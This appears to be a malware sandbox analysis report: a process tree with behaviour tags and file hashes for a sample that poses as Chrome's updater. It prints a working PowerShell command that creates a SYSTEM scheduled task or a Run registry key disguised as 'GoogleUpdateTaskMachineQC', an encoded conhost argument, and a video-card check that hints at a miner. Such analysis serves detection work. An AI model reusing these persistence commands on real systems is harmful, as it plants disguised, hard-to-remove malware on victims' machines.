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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1840
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2360
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1980
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2032
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:932
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4492
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
149KB
MD566e652863eb223a9636d717dc94acc3f
SHA150bfb7146311e18625c06341002f5fe3a68e6b2c
SHA2568c3fbc03a8925005bf2491c0f328a0fbe835aeeb549dce68f7a3d9aba4af3c23
SHA5127851cb0bf6620e1bc1e4b1ebb28ef2ffe023a978804a712ccfe0e63e91c35b09cd93de55a5b8e9fdd9255119f305e05866dc70265aee1a4f1b29c575a93b76db
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Filesize
458KB
MD594a6355f6492560d25c23176c918154a
SHA1c4d8d7b9203fc3984d51347a44df70c438f63eb4
SHA2560bc33d20a78ce3e4c494b7dee3fe0069139412ecce00733ebda08fe4199f2eb7
SHA5124f8f8ba2d800bed0bd2f395571d49dc9f00a1bd41f06525265944b8717338d268db361d0b7f06ac0a7a9f162c6771aacb7919d4fd5d0c40f6d4bbe181d6895ec
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD540e2f277ad4fdcbc96b0e95f6911f003
SHA13ce6e90ffdf8b68dbf11260a6f7a20052175694d
SHA2565577e59196c0c57fd3a9c9427d82f752660103888c916f2957fa975e14f5439d
SHA51201deb46550986a2ff53b8e9c4b40b3e44400913ded714bfb1271c0fafc157bde710f4dbf7b105f9b4dbdb8fa82ebbda62030ce6bd90ccce4a86b8d675962f4f0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5